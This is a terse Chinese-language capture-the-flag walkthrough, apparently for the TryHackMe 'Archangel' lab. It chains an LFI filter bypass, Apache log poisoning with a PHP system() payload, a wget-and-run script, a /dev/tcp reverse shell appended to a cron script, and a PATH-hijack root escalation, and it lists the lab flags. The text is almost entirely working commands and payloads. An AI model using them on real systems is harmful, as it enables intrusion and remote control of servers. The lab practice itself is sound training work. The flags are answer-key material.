起手式,掃 Port rustscan -a 10.10.163.60
掃路徑 python3 dirsearch.py -u http://10.10.163.60/ -e all
觀察網頁首頁,發現裡面有 /flag
題目提示 : Find a different hostname
mafialive.thm
sudo vim /etc/hosts
10.10.163.60 mafialive.thm
再掃一次路徑python3 dirsearch.py -u http://mafialive.thm/ -e all
http://mafialive.thm/robots.txt
/test.php
!DOCTYPE HTML>
html>
head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{explo1t1ng_lf1}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
/body>
``
又撿到一個 flag `thm{explo1t1ng_lf1}`
觀察原始碼發現,網址裡不能出現 `../..` 且一定要出現 `/var/www/html/development_testing`
- `../..` 可以用 `.././..` 繞
測試 `curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././etc/passwd`
成功!!
![](https://i.imgur.com/zGil911.png)
/var/log/apache2/access.log
curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log
nc 10.10.163.60 80
GET /?<?php phpinfo(); ?>
nc 10.10.163.60 80
GET /<?php system($_GET[A]); ?>
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=wget 10.13.21.55:8000/s -O /tmp/s
nc -vlk 7877
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=bash%20/tmp/s
python3 -c 'import pty; pty.spawn("/bin/bash")'
thm{lf1_t0_rc3_1s_tr1cky}
wget 10.13.21.55:8000/linpeas.sh
bash linpeas.sh
archangel
來執行,而且我們對 /opt/helloworld.sh
有讀寫權限echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> /opt/helloworld.sh
thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}
nc -l -p 1234 > meow
nc 10.13.21.55 1234 < backup
r2 meow
aaa
s main
VV
fakepath
mkdir fakepath
export PATH=/home/archangel/fakepath:$PATH
echo '#!/bin/bash' > cp
echo "/bin/bash" >> cp
chmod +x cp
./backup
thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}